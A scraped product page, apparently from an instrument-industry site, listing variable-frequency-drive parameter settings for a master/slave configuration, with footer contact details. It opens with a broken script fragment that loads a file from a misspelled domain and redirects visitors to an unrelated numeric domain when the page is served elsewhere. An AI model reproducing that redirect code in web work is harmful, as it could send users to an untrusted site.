else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
同类产品
| 参数 | 名称 | 出厂值 | 设定值 | 备注 |
| F0.0.09 | 控制模式选择 | 0000 | 0010 | |
| F0.2.25 | 频率设定通道 | 2 | 2/9 | 主/从 |
| F0.2.29 | 面板数字设定 | 0.0 | 10.0 | |
| F0.3.33 | 控制命令 | 0 | 1 | |
| F0.4.39 | 起动频率 | 0.5 | 1.5 | |
| F0.4.40 | 起动频率保持时间 | 0.0 | 0.5 | |
| F1.0.03 | 加速时间 | 20 | 5 | |
| F1.0.04 | 减速时间 | 20 | 3 | |
| F1.0.11 | 急停减速时间 | 10 | 3 | |
| F3.0.00 | 输入端子DI1功能选择 | 0 | 7 | |
| F3.0.01 | 输入端子DI2功能选择 | 0 | 8 | |
| F3.0.02 | 输入端子DI3功能选择 | 7 | 14 | |
| F3.0.03 | 输入端子DI4功能选择 | 8 | 13 | |
| F3.0.04 | 输入端子DI5功能选择 | 13 | 1/0 | 主/从 |
| F3.0.05 | 输入端子DI6功能选择 | 0 | 2/0 | 主/从 |
| F3.1.12 | 输出端子DO1功能选 | 1 | 4 | 主变频器 |
| F3.1.13 | 输出端子DO2功能选择 | 1 | 2 | |
| F3.1.21 | 继电器输出功能选择 | 4 | 71/4 | 主/从 |
| F4.2.23 | 输出端子AO2映射变量 | 2 | 3 | |
| F6.0.00 | 第1运行频率 | 5.00 | 30.00 | 主变频器 |
| F6.0.01 | 第2运行频率 | 10.00 | 50.00 | 主变频器 |
| F8.3.39 | 转矩控制方式选择 | 0 | 1 | 从变频器 |
| F8.3.40 | 转矩指令通道选择 | 从变频器 | ||
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序